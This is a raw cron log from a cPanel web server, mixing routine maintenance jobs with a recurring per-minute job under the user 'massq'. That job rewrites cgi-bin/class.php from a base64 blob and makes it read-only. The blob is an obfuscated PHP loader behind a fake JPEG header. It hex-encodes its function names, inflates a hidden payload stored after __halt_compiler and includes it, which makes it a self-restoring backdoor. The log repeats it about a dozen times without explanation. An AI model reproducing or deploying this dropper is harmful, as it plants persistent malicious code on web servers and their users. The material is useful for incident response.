Sep 11 14:56:01 server CROND[7869]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 14:56:01 server CROND[7870]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 14:56:01 server CROND[7871]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 14:57:01 server CROND[8259]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 14:57:01 server CROND[8261]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 14:57:01 server CROND[8262]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 14:57:01 server CROND[8260]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 14:58:01 server CROND[8747]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 14:58:01 server CROND[8748]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 14:58:01 server CROND[8749]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 14:59:01 server CROND[9153]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 14:59:01 server CROND[9154]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 14:59:01 server CROND[9155]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 15:00:01 server CROND[9549]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 15:00:01 server CROND[9550]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 15:00:01 server CROND[9554]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 15:00:01 server CROND[9558]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 15:00:01 server CROND[9557]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 15:00:01 server CROND[9556]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 15:00:01 server CROND[9560]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 15:00:01 server CROND[9559]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep 11 15:00:01 server CROND[9555]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 15:01:01 server CROND[10469]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 15:01:01 server CROND[10470]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 15:01:01 server CROND[10471]: (root) CMD (run-parts /etc/cron.hourly)
Sep 11 15:01:01 server CROND[10472]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 15:01:01 server run-parts(/etc/cron.hourly)[10471]: starting 0anacron
Sep 11 15:01:01 server run-parts(/etc/cron.hourly)[10490]: finished 0anacron
Sep 11 15:02:01 server CROND[10868]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 15:02:01 server CROND[10869]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 15:02:01 server CROND[10870]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 15:03:01 server CROND[11438]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 15:03:01 server CROND[11439]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 15:03:01 server CROND[11441]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 15:04:01 server CROND[11835]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 15:04:01 server CROND[11836]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 15:04:01 server CROND[11837]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 15:05:01 server CROND[12231]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 15:05:01 server CROND[12233]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 15:05:01 server CROND[12234]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 15:05:01 server CROND[12243]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 15:05:01 server CROND[12246]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 15:05:01 server CROND[12245]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 15:05:01 server CROND[12253]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 15:05:01 server CROND[12251]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 15:06:01 server CROND[13095]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 15:06:01 server CROND[13096]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 15:06:01 server CROND[13097]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 15:07:01 server CROND[13477]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 15:07:01 server CROND[13478]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 15:07:01 server CROND[13479]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 15:08:01 server CROND[13959]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
